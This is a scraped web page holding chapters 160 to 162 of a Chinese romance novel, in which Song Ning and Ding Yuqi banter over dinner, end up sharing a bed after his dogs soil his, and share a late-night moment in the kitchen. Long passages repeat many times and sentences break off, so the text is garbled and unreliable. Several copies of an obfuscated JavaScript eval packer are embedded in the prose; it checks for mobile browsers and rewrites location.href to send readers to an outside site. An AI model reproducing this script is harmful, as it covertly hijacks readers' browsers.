“呵,既然学无止境,你怎么不去买一本《母猪的产后护理》呢?” 丁予期动作微微一顿。 宋凝也反应过来了,顿时有些后悔。 自己就是小时候春晚看的多了,小品台词说来就来,顺口就说了一句《母猪的产后护理》。 但是现在用在这里,反而像是她着急要生孩子似的、 宋凝:“……我开玩笑的,你别当真。” 丁予期没回答,只是行云流水的将一只去骨的鸡翅放到她面前说:“现在买太早了。” 他的措辞很平坦,可抬头时看向宋凝的目光却是无比暧昧,让她想再回敬他一句,却又怕是自己会错了意,唯有把话咽回去。 一场你来我往的斗嘴就此画上句号。 宋凝今天分明没做什么事,但许是因为压着心事的缘故,早早就觉得累了,等好不容易硬撑着洗漱完毕,再将东西收拾好已经不早了,可书房里却还亮着灯。 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自己就是小时候春晚看的多了,小品台词说来就来,顺口就说了一句《母猪的产后护理》。 但是现在用在这里,反而像是她着急要生孩子似的、 宋凝:“……我开玩笑的,你别当真。” 丁予期没回答,只是行云流水的将一只去骨的鸡翅放到她面前说:“现在买太早了。” 他的措辞很平坦,可抬头时看向宋凝的目光却是无比暧昧,让她想再回敬他一句,却又怕是自己会错了意,唯有把话咽回去。 一场你来我往的斗嘴就此画上句号。 宋凝今天分明没做什么事,但许是因为压着心事的缘故,早早就觉得累了,等好不容易硬撑着洗漱完毕,再将东西收拾好已经不早了,可书房里却还亮着灯。 “你还不睡么?”她走过去敲了下房门,见没有回应,以为他是在忙工作不便分神,便出于礼貌只说了句,“晚安,我先睡了,你也早点休息吧。” 话音刚落,屋内立刻响起丁予期的话音:“等一下。” 宋凝以为他是在跟她说话,跟着回了一声“好”,可房门很快就在她面前打开,他走出来解释道:“刚刚在开会,有件事没来得及跟你说。” 方向走去。 宋凝想事情想的太出神,完全没注意到套间的房门不知何时已经开了,她一门心思的低着头往前走,当场跟出来找她的丁予期撞了个满怀。 丁予期嘶声倒吸了一口凉气,但第一反应仍旧是先扶住她,关切道:“你跟瑞贝卡不是有事情说么?怎么去了这么久?” 他仔仔细细的打量着她的神情,见除了魂不守舍外没什么大问题,这才松了口气。 “风景不错,就吹了会儿风。”宋凝现在一看到他就会想起那些过往,目光游移的看向室内餐厅上保持着她离开时模样的菜品,转移话题道,“对了,你还没吃完饭吧?还是先进去吧。” 一顿晚餐分了两次才吃完。 宋凝有了心事,难免表现的心不在焉,她手里的叉子不断从食物上滑下去,好几次都磕到了瓷盘的边缘。 当啷。 丁予期起初还能抱着等宋凝缓过来的心态,过会儿再去问她。 这时听到动静,当即叹了口气,把她面前的瓷盘拿到面前,三下五除二的将牛排切成了刚好能入口的小块。 “我一直以为你是有基本的自理能力的。”他在将餐盘还给她的时候说。 宋凝听到这话,先前的纷乱心情登时荡然无存,她毫不客气的回怼道:“有没有可能是因为跟你在一起吃饭,所以拉低了我的能力?” 丁予期见她还有心思跟自己斗嘴,显然是回过神来了,勾了下唇角回应道:“是么?那你更得多吃一点了,保持能力。” 两人你一言我一语,熟悉的斗嘴感又回来了。 丁予期一边措辞一边也没耽误他拿公用餐具给宋凝加餐,就连放到她碟子里去的虾也是仔细剥好了的。 宋凝偶然间低头瞥见,心里忽然有些别扭,嘴上便回了他一句:“你这是打算把我当猪养么?” 话一出口,她立刻就后悔了,毕竟他也是一片好心才这么做的。可丁予期却压根没放在心上,他头也不抬的说:“这个提议不错,那我明天就去买《养猪十大技巧》。” “老姚他们不是说,你们在部队的时候挑过猪粪?怎么,猪粪挑过猪没养过?” 丁予期啧啧有声:“品种不一样,这不是学无止境么。” “呵,既然学无止境,你怎么不去买一本《母猪的产后护理》呢?” 丁予期动作微微一顿。 宋凝也反应过来了,顿时有些后悔。 自己就是小时候春晚看的多了,小品台词说来就来,顺口就说了一句《母猪的产后护理》。 但是现在用在这里,反而像是她着急要生孩子似的、 宋凝:“……我开玩笑的,你别当真。” 丁予期没回答,只是行云流水的将一只去骨的鸡翅放到她面前说:“现在买太早了。” 他的措辞很平坦,可抬头时看向宋凝的目光却是无比暧昧,让她想再回敬他一句,却又怕是自己会错了意,唯有把话咽回去。 一场你来我往的斗嘴就此画上句号。 宋凝今天分明没做什么事,但许是因为压着心事的缘故,早早就觉得累了,等好不容易硬撑着洗漱完毕,再将东西收拾好已经不早了,可书房里却还亮着灯。 “你还不睡么?”她走过去敲了下房门,见没有回应,以为他是在忙工作不便分神,便出于礼貌只说了句,“晚安,我先睡了,你也早点休息吧。” 话音刚落,屋内立刻响起丁予期的话音:“等一下。” 宋凝以为他是在跟她说话,跟着回了一声“好”,可房门很快就在她面前打开,他走出来解释道:“刚刚在开会,有件事没来得及跟你说。” 方向走去。 宋凝想事情想的太出神,完全没注意到套间的房门不知何时已经开了,她一门心思的低着头往前走,当场跟出来找她的丁予期撞了个满怀。 丁予期嘶声倒吸了一口凉气,但第一反应仍旧是先扶住她,关切道:“你跟瑞贝卡不是有事情说么?怎么去了这么久?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162757|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他仔仔细细的打量着她的神情,见除了魂不守舍外没什么大问题,这才松了口气。 “风景不错,就吹了会儿风。”宋凝现在一看到他就会想起那些过往,目光游移的看向室内餐厅上保持着她离开时模样的菜品,转移话题道,“对了,你还没吃完饭吧?还是先进去吧。” 一顿晚餐分了两次才吃完。 宋凝有了心事,难免表现的心不在焉,她手里的叉子不断从食物上滑下去,好几次都磕到了瓷盘的边缘。 当啷。 丁予期起初还能抱着等宋凝缓过来的心态,过会儿再去问她。 这时听到动静,当即叹了口气,把她面前的瓷盘拿到面前,三下五除二的将牛排切成了刚好能入口的小块。 “我一直以为你是有基本的自理能力的。”他在将餐盘还给她的时候说。 宋凝听到这话,先前的纷乱心情登时荡然无存,她毫不客气的回怼道:“有没有可能是因为跟你在一起吃饭,所以拉低了我的能力?” 丁予期见她还有心思跟自己斗嘴,显然是回过神来了,勾了下唇角回应道:“是么?那你更得多吃一点了,保持能力。” 两人你一言我一语,熟悉的斗嘴感又回来了。 丁予期一边措辞一边也没耽误他拿公用餐具给宋凝加餐,就连放到她碟子里去的虾也是仔细剥好了的。 宋凝偶然间低头瞥见,心里忽然有些别扭,嘴上便回了他一句:“你这是打算把我当猪养么?” 话一出口,她立刻就后悔了,毕竟他也是一片好心才这么做的。可丁予期却压根没放在心上,他头也不抬的说:“这个提议不错,那我明天就去买《养猪十大技巧》。” “老姚他们不是说,你们在部队的时候挑过猪粪?怎么,猪粪挑过猪没养过?” 丁予期啧啧有声:“品种不一样,这不是学无止境么。” “呵,既然学无止境,你怎么不去买一本《母猪的产后护理》呢?” 丁予期动作微微一顿。 宋凝也反应过来了,顿时有些后悔。 自己就是小时候春晚看的多了,小品台词说来就来,顺口就说了一句《母猪的产后护理》。 但是现在用在这里,反而像是她着急要生孩子似的、 宋凝:“……我开玩笑的,你别当真。” 丁予期没回答,只是行云流水的将一只去骨的鸡翅放到她面前说:“现在买太早了。” 他的措辞很平坦,可抬头时看向宋凝的目光却是无比暧昧,让她想再回敬他一句,却又怕是自己会错了意,唯有把话咽回去。 一场你来我往的斗嘴就此画上句号。 宋凝今天分明没做什么事,但许是因为压着心事的缘故,早早就觉得累了,等好不容易硬撑着洗漱完毕,再将东西收拾好已经不早了,可书房里却还亮着灯。 “你还不睡么?”她走过去敲了下房门,见没有回应,以为他是在忙工作不便分神,便出于礼貌只说了句,“晚安,我先睡了,你也早点休息吧。” 话音刚落,屋内立刻响起丁予期的话音:“等一下。” 宋凝以为他是在跟她说话,跟着回了一声“好”,可房门很快就在她面前打开,他走出来解释道:“刚刚在开会,有件事没来得及跟你说。” 方向走去。 宋凝想事情想的太出神,完全没注意到套间的房门不知何时已经开了,她一门心思的低着头往前走,当场跟出来找她的丁予期撞了个满怀。 丁予期嘶声倒吸了一口凉气,但第一反应仍旧是先扶住她,关切道:“你跟瑞贝卡不是有事情说么?怎么去了这么久?” 他仔仔细细的打量着她的神情,见除了魂不守舍外没什么大问题,这才松了口气。 “风景不错,就吹了会儿风。”宋凝现在一看到他就会想起那些过往,目光游移的看向室内餐厅上保持着她离开时模样的菜品,转移话题道,“对了,你还没吃完饭吧?还是先进去吧。” 一顿晚餐分了两次才吃完。 宋凝有了心事,难免表现的心不在焉,她手里的叉子不断从食物上滑下去,好几次都磕到了瓷盘的边缘。 当啷。 丁予期起初还能抱着等宋凝缓过来的心态,过会儿再去问她。 这时听到动静,当即叹了口气,把她面前的瓷盘拿到面前,三下五除二的将牛排切成了刚好能入口的小块。 “我一直以为你是有基本的自理能力的。”他在将餐盘还给她的时候说。 宋凝听到这话,先前的纷乱心情登时荡然无存,她毫不客气的回怼道:“有没有可能是因为跟你在一起吃饭,所以拉低了我的能力?” 丁予期见她还有心思跟自己斗嘴,显然是回过神来了,勾了下唇角回应道:“是么?那你更得多吃一点了,保持能力。” 两人你一言我一语,熟悉的斗嘴感又回来了。 丁予期一边措辞一边也没耽误他拿公用餐具给宋凝加餐,就连放到她碟子里去的虾也是仔细剥好了的。 宋凝偶然间低头瞥见,心里忽然有些别扭,嘴上便回了他一句:“你这是打算把我当猪养么?” 话一出口,她立刻就后悔了,毕竟他也是一片好心才这么做的。可丁予期却压根没放在心上,他头也不抬的说:“这个提议不错,那我明天就去买《养猪十大技巧》。” “老姚他们不是说,你们在部队的时候挑过猪粪?怎么,猪粪挑过猪没养过?” 丁予期啧啧有声:“品种不一样,这不是学无止境么。” “呵,既然学无止境,你怎么不去买一本《母猪的产后护理》呢?” 丁予期动作微微一顿。 宋凝也反应过来了,顿时有些后悔。 自己就是小时候春晚看的多了,小品台词说来就来,顺口就说了一句《母猪的产后护理》。 但是现在用在这里,反而像是她着急要生孩子似的、 宋凝:“……我开玩笑的,你别当真。” 丁予期没回答,只是行云流水的将一只去骨的鸡翅放到她面前说:“现在买太早了。” 他的措辞很平坦,可抬头时看向宋凝的目光却是无比暧昧,让她想再回敬他一句,却又怕是自己会错了意,唯有把话咽回去。 一场你来我往的斗嘴就此画上句号。 宋凝今天分明没做什么事,但许是因为压着心事的缘故,早早就觉得累了,等好不容易硬撑着洗漱完毕,再将东西收拾好已经不早了,可书房里却还亮着灯。 “你还不睡么?”她走过去敲了下房门,见没有回应,以为他是在忙工作不便分神,便出于礼貌只说了句,“晚安,我先睡了,你也早点休息吧。” 话音刚落,屋内立刻响起丁予期的话音:“等一下。” 宋凝以为他是在跟她说话,跟着回了一声“好”,可房门很快就在她面前打开,他走出来解释道:“刚刚在开会,有件事没来得及跟你说。” 方向走去。 宋凝想事情想的太出神,完全没注意到套间的房门不知何时已经开了,她一门心思的低着头往前走,当场跟出来找她的丁予期撞了个满怀。 丁予期嘶声倒吸了一口凉气,但第一反应仍旧是先扶住她,关切道:“你跟瑞贝卡不是有事情说么?怎么去了这么久?” 他仔仔细细的打量着她的神情,见除了魂不守舍外没什么大问题,这才松了口气。 “风景不错,就吹了会儿风。”宋凝现在一看到他就会想起那些过往,目光游移的看向室内餐厅上保持着她离开时模样的菜品,转移话题道,“对了,你还没吃完饭吧?还是先进去吧。” 一顿晚餐分了两次才吃完。 宋凝有了心事,难免表现的心不在焉,她手里的叉子不断从食物上滑下去,好几次都磕到了瓷盘的边缘。 当啷。 丁予期起初还能抱着等宋凝缓过来的心态,过会儿再去问她。 这时听到动静,当即叹了口气,把她面前的瓷盘拿到面前,三下五除二的将牛排切成了刚好能入口的小块。 “我一直以为你是有基本的自理能力的。”他在将餐盘还给她的时候说。 宋凝听到这话,先前的纷乱心情登时荡然无存,她毫不客气的回怼道:“有没有可能是因为跟你在一起吃饭,所以拉低了我的能力?” 丁予期见她还有心思跟自己斗嘴,显然是回过神来了,勾了下唇角回应道:“是么?那你更得多吃一点了,保持能力。” 两人你一言我一语,熟悉的斗嘴感又回来了。 丁予期一边措辞一边也没耽误他拿公用餐具给宋凝加餐,就连放到她碟子里去的虾也是仔细剥好了的。 宋凝偶然间低头瞥见,心里忽然有些别扭,嘴上便回了他一句:“你这是打算把我当猪养么?” 话一出口,她立刻就后悔了,毕竟他也是一片好心才这么做的。可丁予期却压根没放在心上,他头也不抬的说:“这个提议不错,那我明天就去买《养猪十大技巧》。” “老姚他们不是说,你们在部队的时候挑过猪粪?怎么,猪粪挑过猪没养过?” 丁予期啧啧有声:“品种不一样,这不是学无止境么。” “呵,既然学无止境,你怎么不去买一本《母猪的产后护理》呢?” 丁予期动作微微一顿。 宋凝也反应过来了,顿时有些后悔。 自己就是小时候春晚看的多了,小品台词说来就来,顺口就说了一句《母猪的产后护理》。 但是现在用在这里,反而像是她着急要生孩子似的、 宋凝:“……我开玩笑的,你别当真。” 丁予期没回答,只是行云流水的将一只去骨的鸡翅放到她面前说:“现在买太早了。” 他的措辞很平坦,可抬头时看向宋凝的目光却是无比暧昧,让她想再回敬他一句,却又怕是自己会错了意,唯有把话咽回去。 一场你来我往的斗嘴就此画上句号。 宋凝今天分明没做什么事,但许是因为压着心事的缘故,早早就觉得累了,等好不容易硬撑着洗漱完毕,再将东西收拾好已经不早了,可书房里却还亮着灯。 “你还不睡么?”她走过去敲了下房门,见没有回应,以为他是在忙工作不便分神,便出于礼貌只说了句,“晚安,我先睡了,你也早点休息吧。” 话音刚落,屋内立刻响起丁予期的话音:“等一下。” 宋凝以为他是在跟她说话,跟着回了一声“好”,可房门很快就在她面前打开,他走出来解释道:“刚刚在开会,有件事没来得及跟你说。” 第一百六十章 就坡下驴 他是特意来跟她说话的而在他身后不远处的桌子上电脑屏幕的光还在闪烁。 宋凝顿住了:“有事找我?” “嗯”丁予期突然显得有些迟疑“我还在开会你恐怕还睡不成。” 宋凝更不解了:“你开你的会 “原本是没有的。”丁予期意味深长的叹了口气无奈的摊开双手表示“但我们今晚恐怕得一起睡了。” 宋凝立刻心生提防的后退半步警惕的问丁予期:“为什么?你不是有自己的房间么?” 套房里不缺卧室他们一直是各睡各的现在丁予期忽然提出更进一步的要求实在是让她没法不多想。 丁予期猜出她的心思一耸肩膀道:“你想什么呢?只是因为我的床没办法睡了而已。” 他示意宋凝跟自己一起往露台方向走然后指着趴在地上的三只德牧说:“都怪你儿子竟然跑到我床上去玩要是这样也就算了竟然还把床给尿湿了你到底给他们喂了多少水啊三个人跟水牛似的被子床垫全湿透了。” 三只德牧听着他的控诉全都是一副趴在地板上摇尾巴的心虚模样耳朵也在抖个不停瞧着倒是真的很心虚。 宋凝愕然道:“不会吧?它们三个很乖的啊。” 虽然她跟三只德牧认识时间还不长但它们三个还是很乖的让握手就握手让转圈就转圈按理说不该会闯祸才对。 宋凝好奇道:“我能看一眼么?” “当然。”丁予期带她去到自己房间里看了一眼只见那张宽大松软的大床已经变得湿哒哒并且还在往外散发尿骚味熏的人都快晕过去了。 宋凝捂住了鼻子。 这张床确实是没法睡了。 好大儿们今天也不知道是怎么了明明平时都很乖的下去溜的时候才会上厕所。 就算是没来得及下楼也会自己去洗手间的尿垫上解决。 丁予期有些轻微地洁癖平时基本不允许它们几个上床。 今天它们不但上了床还尿在了床上而且……还是团伙作案。 宋凝总觉得哪里不太对劲。 三个好大儿同时不讲规矩还是这么大剂量的撒尿好像哪里怪怪的…… 丁予期摸了摸鼻子轻轻瞧了一眼她的反应见宋凝仍旧蹙着眉盯着湿漉漉的床单轻咳了一声轻声说道:“这床单估计要不成了。” “何止是换床单恐怕这张床都不能要了 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 。”宋凝叹了口气:“这样浓烈的异味仅靠清洗是无法去除干净的,如果以后再给别的客人用,必然会把酒店的招牌砸掉。” 丁予期无比认可:“是啊,我只是去书房工作了一会儿,结果就赶上它们三个撒欢,本来想收拾来着,但又有紧急电话会议要开,现在换床垫好像已经太晚了。” 他说着,又去看宋凝的反应。 她应该有些疑虑,但更多的是在疑惑狗子们为什么今天特别不听话,一起为非作歹。 “我今天没给它们喂水,你……” 丁予期立刻说:“我忙工作都忙的脱不开身,哪有机会给他们喂水?” 这个套房,平时没人来。 也就是前阵子老姚他们会不请自来,但现在大拿在医院,老姚和萝卜不放心,都去医院陪护去了,现在也不在酒店。 还有就是瑞贝卡。 可是没有经过丁予期的允许,就算是瑞贝卡也不会擅自刷卡进入。 除非是丁予期交代,或者是丁予期在的时候,她得到了允许才会进来。 宋凝百思不得其解。 “那个……”丁予期舔了舔唇:“儿子们也不知道吃什么了,怎么味道这么大,我赶紧让人先把这里收拾一下,免得最后一屋子味道散都散不出去。” 套房墙壁上都是壁布,很吸味。 宋凝点了点头,没说什么。 丁予期当着她的面拨通了瑞贝卡的电话,一番交代过后,工作人员很快赶过来。 瑞贝卡看到那张狼藉的大床,也有些吃惊:“这……怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那个……”宋凝看着他来回忙碌,一想到今晚会跟丁予期同床共枕,心里就说不出的别扭。 倒是丁予期察觉到她的异样,关切道:“怎么了?” 宋凝生怕被他看出心虚,连忙摇头:“没事,只是有点困了,所以我先睡了,柜子里有多余的被子枕头,你……你自己看着办吧!” 第一百六十一章 我跟你一起等 说完这句,她逃也似的回到自己房间去了。 人也躺到床上开始一门心思的纠结怎么办。 不多时,外面的浴室里传出了水声,是丁予期结束了工作,已经在洗澡了。 ……她心里更慌了。 这个套房的客厅倒是有一个沙发可以睡。 但是沙发并不大,她去睡勉强可以,丁予期这种身高,根本就盛放不下。 要不然,她去睡沙发? 会不会有点太刻意了,万一人家并没有想干什么,自己却像是防贼似的防着,毕竟这里是他的房间啊。 宋凝想来想去,打了个电话去前台。 结果前台告知她:“宋经理,今天酒店满房了,没有多余的房间。” “最近也不是什么旅游旺季啊,怎么满房了?” “最近婚宴一个接一个呀,我们酒店几乎都被婚礼的亲友们订完了。” “……好,我知道了。” 挂了电话,宋凝想了想,又打了个电话给祝如星。 去她那里住一晚上应该没什么问题。 可是电话一接通,电话那边的嘈杂声几乎要把她的耳膜震破! “星星,你在哪儿啊?” “阿凝?我在酒吧啊,你有什么事吗?” “酒吧?” “是啊……”电话那边似乎有人跟祝如星说话,祝如星显得有些着急:“阿凝,你找我有什么事吗?新娘子叫我呢。” “新娘子去酒吧?拍照吗?” “我接了个单子是,是新娘子婚前的单身派对啦,跟姐妹淘一起狂欢,我负责给她们拍照。阿凝你有什么事就说啊,就是得稍微快一点……” 祝如星在忙工作,不在酒店。 看来去她那里蹭住也是没办法了。 “没什么事,你先忙吧。” “好,阿凝我先去了,有什么事我回头打给你啊。” 挂了电话,宋凝有些懊恼。 还有什么办法,可以度过今晚? 还不等她想出个所以然来,浴室里的水声停了,紧接着,房间里又传来了脚步声。 宋凝连忙闭紧眼睛,靠在床铺最右侧的位置装睡,直到身侧传来极轻的展开被子的声音,也还是没好意思回头多看哪怕一眼。 她屏住呼吸,紧紧闭着眼睛。 生怕被丁予期发现端倪。 可他似乎根本没什么想法,径直在她的另一侧躺下了。 他或许是真的累了,入睡的速度比宋凝还 要来得更快,室内很快响起了他绵长而有规律的呼吸声。 宋凝纠结良久,到底还是忍不住回过身去看了他一眼,然后便不知该如何是好了。 只见丁予期躺在离她最远的地方,整个人说是靠在床铺边缘都不为过,让人忍不住担心他会因为翻身掉下去,偏偏他本人还睡得很安然,仿佛半点都不担心此事。 这得是睡的多沉啊? 宋凝小心翼翼的打量起丁予期的睡颜,脸定得平平的,连睡姿都规矩的不得了,一双手平整的放在身前,显然是在部队里训练过的结果。 倒是跟他本人平时玩世不恭的样子有几分还差。 没想到他平时表现的傲娇又毒舌,嘴上半点不留情,私底下做事却显得颇为规矩。 或许,他骨子里就是个极其规矩的人吧。 只有在自己这件事上,显得有一些离经叛道。 宋凝发自内心的对丁予期做出评价,同时在恍然间不受控制的想起了瑞贝卡提起过的事。 自从她失踪之后,他就没再合过眼,而在她回来之后,他又很快投入到了工作中,一定是累坏了。 原本汹涌的睡意登时荡然无存,让她在辗转反侧过后,决定起床去倒杯水喝,兴许能稳定一下情绪。 宋凝为了不惊醒睡着的丁予期,特意没有穿鞋,更没有开灯,而是就这样蹑手蹑脚的穿过客厅去了厨房,不料在接水时还是发出声响,不慎让水壶磕在了杯子上。 伴随着“咣”一声轻响,卧室里也有了动静。 丁予期睡觉浅,刚听到一点声音就被惊醒走了出来,见是宋凝在书房里,他松了口气的同时问:“你不是要睡觉么?怎么又不睡了?” “渴了,所以起来喝点水。”宋凝展示了一下手里的水壶。 丁予期听着她的话,先注意到了她踩在地板上的赤脚,先是不悦的皱了眉头,然后转身回到卧室,把她的拖鞋拎了过来:“你不冷么?” 此时已经到了夏末,白天的天色还有些热,可一到晚上就不一样了。 宋凝其实也觉得踩在厨房的瓷砖地上有点凉,但是转念想到喝水也用不了几分钟就能回去了,还是嘴硬道:“不冷。” 丁予期没有跟她争,只是蹲下身去,亲自替她穿上了拖鞋。 宋凝的第一反应其实是想躲,可从他指尖传来的温热触感让她没来由的愣住,等到她再回过神来,他已经起身道:“女孩子最好还是不要贪凉,况且晚上的温度可一点都不高。” 这话简直温柔的不像 他说的。 宋凝的面颊和耳后登时开始发烧,她为了掩饰内心的局促,连忙转过身打开了冰箱,可才刚取出一瓶冰镇矿泉水,就被刚洗完手的丁予期夺了过去:“不是刚刚才叮嘱过你不要贪凉的么?” 水被他顺手放回原处,同时将冰箱给看管了起来,大有她要想再喝冰矿泉水,就得先过了他这一关的意思。 宋凝既无奈又好笑的表示:“可我渴了。” 丁予期二话不说转身拿起水壶:“几分钟而已,你就这么没耐心,不能等一等么?我跟你一起等。” 他行动力极强的开始烧水,让宋凝连阻止都来不及。 过了一会儿,丁予期拿出手机开始刷。 宋凝问道:“不是要跟我一起等么?这么快就又有工作了?” “我这是在研究速热饮水机。”丁予期答的很认真。 宋凝立刻来了兴致:“这倒是个好主意,酒店既然要在品质上显出不同,当然应该更在意这些。” 无论是什么级别的酒店,对客人来说入住体验都是最重要的。 “嗯,虽然酒店内部供应的都是直饮水,但是难免会有生理期的女客人入住,还是得考虑一下。” 丁予期答的认真,注意力却并没有全都挪开,水才刚烧开,他就给宋凝倒了大半杯,然后掺上提前准备好的另外小半杯冷水道,“喏,现在的水温刚好能入口,喝一点吧。” 他说的。 宋凝的面颊和耳后登时开始发烧,她为了掩饰内心的局促,连忙转过身打开了冰箱,可才刚取出一瓶冰镇矿泉水,就被刚洗完手的丁予期夺了过去:“不是刚刚才叮嘱过你不要贪凉的么?” 水被他顺手放回原处,同时将冰箱给看管了起来,大有她要想再喝冰矿泉水,就得先过了他这一关的意思。 宋凝既无奈又好笑的表示:“可我渴了。” 丁予期二话不说转身拿起水壶:“几分钟而已,你就这么没耐心,不能等一等么?我跟你一起等。” 他行动力极强的开始烧水,让宋凝连阻止都来不及。 过了一会儿,丁予期拿出手机开始刷。 宋凝问道:“不是要跟我一起等么?这么快就又有工作了?” “我这是在研究速热饮水机。”丁予期答的很认真。 宋凝立刻来了兴致:“这倒是个好主意,酒店既然要在品质上显出不同,当然应该更在意这些。” 无论是什么级别的酒店,对客人来说入住体验都是最重要的。 “嗯,虽然酒店内部供应的都是直饮水,但是难免会有生理期的女客人入住,还是得考虑一下。” 丁予期答的认真,注意力却并没有全都挪开,水才刚烧开,他就给宋凝倒了大半杯,然后掺上提前准备好的另外小半杯冷水道,“喏,现在的水温刚好能入口,喝一点吧。” 他说的。 宋凝的面颊和耳后登时开始发烧,她为了掩饰内心的局促,连忙转过身打开了冰箱,可才刚取出一瓶冰镇矿泉水,就被刚洗完手的丁予期夺了过去:“不是刚刚才叮嘱过你不要贪凉的么?” 水被他顺手放回原处,同时将冰箱给看管了起来,大有她要想再喝冰矿泉水,就得先过了他这一关的意思。 宋凝既无奈又好笑的表示:“可我渴了。” 丁予期二话不说转身拿起水壶:“几分钟而已,你就这么没耐心,不能等一等么?我跟你一起等。” 他行动力极强的开始烧水,让宋凝连阻止都来不及。 过了一会儿,丁予期拿出手机开始刷。 宋凝问道:“不是要跟我一起等么?这么快就又有工作了?” “我这是在研究速热饮水机。”丁予期答的很认真。 宋凝立刻来了兴致:“这倒是个好主意,酒店既然要在品质上显出不同,当然应该更在意这些。” 无论是什么级别的酒店,对客人来说入住体验都是最重要的。 “嗯,虽然酒店内部供应的都是直饮水,但是难免会有生理期的女客人入住,还是得考虑一下。” 丁予期答的认真,注意力却并没有全都挪开,水才刚烧开,他就给宋凝倒了大半杯,然后掺上提前准备好的另外小半杯冷水道,“喏,现在的水温刚好能入口,喝一点吧。” 他说的。 宋凝的面颊和耳后登时开始发烧,她为了掩饰内心的局促,连忙转过身打开了冰箱,可才刚取出一瓶冰镇矿泉水,就被刚洗完手的丁予期夺了过去:“不是刚刚才叮嘱过你不要贪凉的么?” 水被他顺手放回原处,同时将冰箱给看管了起来,大有她要想再喝冰矿泉水,就得先过了他这一关的意思。 宋凝既无奈又好笑的表示:“可我渴了。” 丁予期二话不说转身拿起水壶:“几分钟而已,你就这么没耐心,不能等一等么?我跟你一起等。” 他行动力极强的开始烧水,让宋凝连阻止都来不及。 过了一会儿,丁予期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丁予期答的认真,注意力却并没有全都挪开,水才刚烧开,他就给宋凝倒了大半杯,然后掺上提前准备好的另外小半杯冷水道,“喏,现在的水温刚好能入口,喝一点吧。” 他说的。 宋凝的面颊和耳后登时开始发烧,她为了掩饰内心的局促,连忙转过身打开了冰箱,可才刚取出一瓶冰镇矿泉水,就被刚洗完手的丁予期夺了过去:“不是刚刚才叮嘱过你不要贪凉的么?” 水被他顺手放回原处,同时将冰箱给看管了起来,大有她要想再喝冰矿泉水,就得先过了他这一关的意思。 宋凝既无奈又好笑的表示:“可我渴了。” 丁予期二话不说转身拿起水壶:“几分钟而已,你就这么没耐心,不能等一等么?我跟你一起等。” 他行动力极强的开始烧水,让宋凝连阻止都来不及。 过了一会儿,丁予期拿出手机开始刷。 宋凝问道:“不是要跟我一起等么?这么快就又有工作了?” “我这是在研究速热饮水机。”丁予期答的很认真。 宋凝立刻来了兴致:“这倒是个好主意,酒店既然要在品质上显出不同,当然应该更在意这些。” 无论是什么级别的酒店,对客人来说入住体验都是最重要的。 “嗯,虽然酒店内部供应的都是直饮水,但是难免会有生理期的女客人入住,还是得考虑一下。” 丁予期答的认真,注意力却并没有全都挪开,水才刚烧开,他就给宋凝倒了大半杯,然后掺上提前准备好的另外小半杯冷水道,“喏,现在的水温刚好能入口,喝一点吧。” 他说的。 宋凝的面颊和耳后登时开始发烧,她为了掩饰内心的局促,连忙转过身打开了冰箱,可才刚取出一瓶冰镇矿泉水,就被刚洗完手的丁予期夺了过去:“不是刚刚才叮嘱过你不要贪凉的么?” 水被他顺手放回原处,同时将冰箱给看管了起来,大有她要想再喝冰矿泉水,就得先过了他这一关的意思。 宋凝既无奈又好笑的表示:“可我渴了。” 丁予期二话不说转身拿起水壶:“几分钟而已,你就这么没耐心,不能等一等么?我跟你一起等。” 他行动力极强的开始烧水,让宋凝连阻止都来不及。 过了一会儿,丁予期拿出手机开始刷。 宋凝问道:“不是要跟我一起等么?这么快就又有工作了?” “我这是在研究速热饮水机。”丁予期答的很认真。 宋凝立刻来了兴致:“这倒是个好主意,酒店既然要在品质上显出不同,当然应该更在意这些。” 无论是什么级别的酒店,对客人来说入住体验都是最重要的。 “嗯,虽然酒店内部供应的都是直饮水,但是难免会有生理期的女客人入住,还是得考虑一下。” 丁予期答的认真,注意力却并没有全都挪开,水才刚烧开,他就给宋凝倒了大半杯,然后掺上提前准备好的另外小半杯冷水道,“喏,现在的水温刚好能入口,喝一点吧。” 第一百六十二章 他手臂上的斑驳 宋凝一时有点发愣。 他特地起来给她烧水还细心的兑了水温。 虽然知道他的心意但宋凝目前还做不到坦然的接受这样的照顾。 “那个……” “怕有毒?”丁予期自己先喝了一口然后停顿了几秒才再次把水递给她:“喝吧没毒。” 宋凝不好意思拂了他的好意当即捧着杯子小口啜饮起来 “谢谢。” 丁予期把空杯子从她手中接过来却没有立刻放下而是拿在手中随意地看着。 “明天你的新床应该能送来了吧?” 丁予期抬起手又给自己倒了一杯水轻轻抿了一口颇有些玩味的看着她笑:“就这么怕我?” “不是。” “不是怕那是什么?” 宋凝有些恼:“算了我困了先回去睡——” 她的话刚说到一半人先毫无征兆的被丁予期打横抱起在双脚腾空的紧张感中下意识抬手攀上他肩膀问“你干什么?” 一颗心扑通直跳异样的感受在安静的环境里变得格外明显。 丁予期将宋凝稳稳当当的抱在怀里一边大步往卧室走去一边解释道:“当然是送你回去睡觉时间不早了该睡了。” 宋凝立刻向他表示**:“我可以自己走我已经穿了鞋了。” 丁予期没有松手只是抱着她轻轻往上抛了一下。 宋凝吓了一跳下意识地抱紧他的脖子恼意更盛:“又干什么?” 丁予期用下巴点了点她耷拉在半空中光溜溜的小脚:“没鞋。” 明明是被他刚刚晃掉的! “丁予期你到底要干嘛?” 